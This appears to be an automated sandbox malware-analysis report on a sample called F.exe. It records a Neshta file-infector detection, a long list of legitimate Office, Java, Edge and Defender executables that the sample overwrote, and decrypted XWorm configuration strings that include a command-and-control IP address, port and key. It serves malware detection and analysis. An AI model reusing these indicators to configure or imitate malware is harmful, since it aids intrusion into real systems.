Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: F.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: 45.141.26.232
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: 6666
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: <123456789>
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: <Xwormmm>
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: XWorm V5.4
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: USB.exe
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: %ProgramData%
Source: 0.3.F.exe.2257504.0.raw.unpack	String decryptor: XClient.exe

Source: F.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.5:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49852 version: TLS 1.2

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: armsvc.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate64.pdb source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdbOGP source: identity_helper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.7.dr
Source:	Binary string: winload_prod.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\graphics_filterloader\x-none\FLTLDR.pdb source: FLTLDR.EXE.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdb source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdb source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe.pdb source: Aut2exe.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
Source:	Binary string: r.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dcf\x-none\FileCompare.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: filecompare.exe.7.dr
Source:	Binary string: WINLOA~1.PDB source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.0.dr
Source:	Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\pp source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CLVIEW.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\aimgr.pdb source: aimgr.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdbOGP source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: AppVDllSurrogate64.pdbGCTL source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: @ntkrnlmp.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb+ source: ai.exe.7.dr
Source:	Binary string: @winload_prod.pdbk source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdbl source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\. source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: @winload_prod.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb source: ai.exe.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\ai.exe.pdb source: ai.exe0.7.dr
Source:	Binary string: WINLOA~1.PDBa source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: lper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\graphics_filterloader\x-none\FLTLDR.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: FLTLDR.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb source: CLVIEW.EXE.0.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdb source: identity_helper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\ai.exe.pdb/ source: ai.exe0.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dcf\x-none\FileCompare.pdb source: filecompare.exe.7.dr

Spreading

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2697226300.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE
Source: C:\Windows\svchost.com	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe
Source: C:\Users\user\Desktop\F.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to behavior
